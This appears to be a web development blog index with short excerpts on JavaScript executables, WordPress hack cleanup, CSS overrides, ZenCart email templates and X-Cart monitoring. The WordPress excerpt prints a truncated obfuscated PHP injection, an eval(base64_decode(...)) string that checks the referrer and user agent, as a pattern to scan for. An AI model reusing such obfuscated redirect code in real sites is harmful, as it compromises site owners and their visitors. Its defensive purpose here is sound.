How to Convert your javascript file to a Windows .exe or .dll

Nowadays an average web developer will need to know a broad matrix of skills in order to do his/her development job. HTML, CSS, JavaScript, AJAX, XML, some server side language, some linux/unix/redhat command skills, some apache, some database skills, standards, accessibility, SEO, etc…, the list goes on. Parts of the list are also multiplied by (or raised to the power of at least 10) number of browsers you want to support.

Continue reading »

What to do if your WordPress has been hacked

If your business website or personal blog is running on WordPress framework, you must upgrade to at least V4.4 as of Jan 2016. Before doing so, please read the instruction how to backup your files and database here. If not, your website maybe in danger of malicious embedded code attack. If you do, scan all wp- directories to find this type of codes: ————- … eval(base64_decode(“ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdH”));…..

Continue reading »

Overwrite Inline Styles with your CSS

Usually we think of inline styles as a way to overwrite styles we set up in the CSS file. 99% of the time, this is the case, and it’s very handy. But there are some circumstances where you need to do it the other way around. As in SugarCRM, WordPress, Joomla, there are inline styles on some markup that you absolutely can’t remove, but you need to overwrite what those styles are. This could be markup that is being inserted onto the page from foreign…

Continue reading »

HOW TO USE the HTML Mail Template System

To customize ZenCart email template such as adding company logo, slogan, add border, background, images so that it can represent your business professionally, you’ll need to know the email structures of ZenCart.  Open email folder to see all the email templates pre-defined by ZenCart, then you can start from there. The following info is from ZenCart docs that you can refer to when modifying all the codes that are related to email templates such as Welcome email, order processed email, contact-us, password forgotten, tell-a-friend,… The…

Continue reading »

X-Monitoring for X-Cart is the must have

Yesterday I re-installed X-Cart Gold for 1 of my customers and the Apache server keeps failing over the last night while we were asleep. If X-Monitoring wasn’t enabled in X-Cart Admin module settings, we could have never found out that our server was down last night. X-Monitoring was a built-in module in X-Cart package when you pay for the license, you can log in to Admin area and turn it on or off. I’d recommend you leave it on by default. By the way, during…

Continue reading »